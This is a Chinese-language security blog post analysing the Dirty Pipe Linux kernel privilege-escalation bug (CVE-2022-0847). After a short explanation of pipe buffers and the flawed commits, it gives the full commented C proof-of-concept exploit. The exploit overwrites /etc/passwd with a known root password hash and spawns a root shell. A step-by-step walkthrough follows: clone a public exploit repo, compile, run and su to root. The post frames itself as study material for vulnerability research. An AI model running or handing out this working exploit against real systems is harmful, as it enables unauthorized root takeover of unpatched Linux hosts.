---
title: CVE-2022-0847(DirtyPipe本地提权)漏洞分析
date: 2022-03-08 14:41:20
tags:
- Linux提权
categories:
- 安全研究
---
CVE-2022-0847
是自5.8
以来Linux
内核中的一个漏洞,攻击者利用该漏洞可以覆盖任意只读文件中的数据。这样将普通的权限提升至root
权限,因为非特权进程可以将代码注入到根进程。
CVE-2022-0847
类似于CVE-2016-5195 “Dirty Cow”
(脏牛提权),而且容易被利用,漏洞作者将其命名为Dirty Pipe
本博客主要用于学习记录相关安全事件和漏洞文章,供大家学习交流和测试使用。由于传播、利用该博客文章提供的信息或者工具而造成任何直接或间接的后果及损害,均由使用本人负责,文章作者不为此承担任何责任。
**危险等级:**高
**POC/EXP:**已公开
影响版本:linux
内核5.8
及 后续版本
注:安全版本Linux 内核 >= 5.16.11、Linux 内核 >= 5.15.25、Linux 内核 >= 5.10.102
这里简单介绍一下漏洞细节。
几个概念:
Linux pipe:
半双工,数据流只能从一端到另一端
pipe_buffer:
管道缓存,用于暂存写入管道的数据,读写都在管道缓存进行
page:
页帧,4kb,与管道缓存有一对一关系
pipe_buf_operations:
用于存储管道缓存操作集
can_merge:
合并标识,如果通用管道读/写可能合并,则设置为1数据到现有缓冲区。 如果设置为 0,则新管道页段总是用于新数据。
splice():
在两个文件描述符之间移动数据,同sendfile( )函数一样,支持管道也是零拷贝。会将文件的页缓存和管道缓存进行绑定,即写入时会同时进行影响,在检查权限时只检查数据来源文件是否有读权限,写时无权限检查。大致调用链为:
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe
Linux管道"合并"检测发展史:
这里根据作者的介绍简单分析一下代码。
-
最初的Linux系统和概念介绍的相同,存在can_merge标志位,用来标记新的数据是否可以写入当前已存在的管道缓存
-
Commit 5274f052e7b3加入了splice()函数,但是验证没有发生变化,依旧根据can_merge标志位判断当前管道缓存是否可用
-
Commit 01e7187b4119停止使用can_merge标志位,转而比较
struct pipe_buf_operations
指针,即因为只有anon_pipe_buf_ops类型可以允许新数据写入,因此只需要验证是否是该类型即可 -
Commit 241699cd72a8加入了两个新函数,可以分配了新的
struct pipe_buf_operations
,但却不会对其flags标志进行初始化 -
Commit f6dd975583bd将这个指针比较转化为对每个缓冲区标志 PIPE_BUF_FLAG_CAN_MERGE比较并且可以注入 PIPE_BUF_FLAG_CAN_MERGE,同时取消了其他类型buf_ops的定义和使用。
因此作者有以下利用思路
- 创建一个管道
- 设置pipe_buffer的PIPE_BUF_FLAG_CAN_MERGE 标志
- 清空管道,将目标前数据拼接入管道,此时splice会将管道缓存和页缓存绑定。
- 任意向管道写入数据,此时write最终调用copy_page_from_iter()实现写入,因为PIPE_BUF_FLAG_CAN_MERGE标志位,会直接完成写入。
Exp解析
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort(); // 创建p[0]和p[1]分别指向管道两端。前者读,后者写
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); // 获取管道大小
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; // 填充管道,顺便设置PIPE_BUF_FLAG_CAN_MERGE
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) { // 清空管道,但是保留标志位
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main() {
const char *const path = "/etc/passwd"; // 定义目标文件路径
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n"); // 创建/tmp/passwd.bak备份
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) { // 判断文件读写是否正常打开
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF) // 逐字节写入
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root" // 定义偏移,即覆盖目标位置为root字段之后
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron // 定义覆盖的数据
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) { // 判断写入位置是否在页边界上
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; // 定义当前页面结尾
const loff_t end_offset = offset + (loff_t)data_size; // 定义覆盖数据的结尾
if (end_offset > next_page) { // 判断覆盖是否跨页
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-) // 打开只读目标文件
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st; // 定义st保存目标文件信息
if (fstat(fd, &st)) { // 获取目标文件状态
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) { // 判断偏移是否大于文件字节数
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) { // 判断覆盖结尾是否大于文件字节数
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p); // 创建管道,标志位设置为PIPE_BUF_FLAG_CAN_MERGE
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset; // 定位到偏移前1字节
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); // 将该字节进行拼接发送到管道
if (nbytes < 0) { // 判断是否移动成功,-1表示失败
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) { // 0表示没有数据可以移动
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size); // 覆盖数据写入管道
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv); // 开启root下shell
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}
目前采用kali
虚拟机作为演示系统利用
目标系统要求,存在gcc
即可
- 查看当前系统内核版本
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
- 拉取
exp
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
- 利用执行
./compile.sh # gcc编译
./exploit # 执行exp返回如下error信息
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(
su root
密码: aaron
登录后极为root权限
- 还原
passwd
文件
mv /tmp/passwd.bak /etc/passwd
首先修复merge属性设置
其次是加入flags初始化设置
这里非常感谢Psyduck
师傅花费宝贵的时间基于漏洞公开者的exp
进行了原理上的分析和梳理。师傅表示,本地也基于底层做了相应的调试,只是还没有明显的数据调用链,但是目前还在深入中。
本博客主要用于学习记录相关安全事件和漏洞文章,供大家学习交流和测试使用。由于传播、利用该博客文章提供的信息或者工具而造成任何直接或间接的后果及损害,均由使用本人负责,文章作者不为此承担任何责任。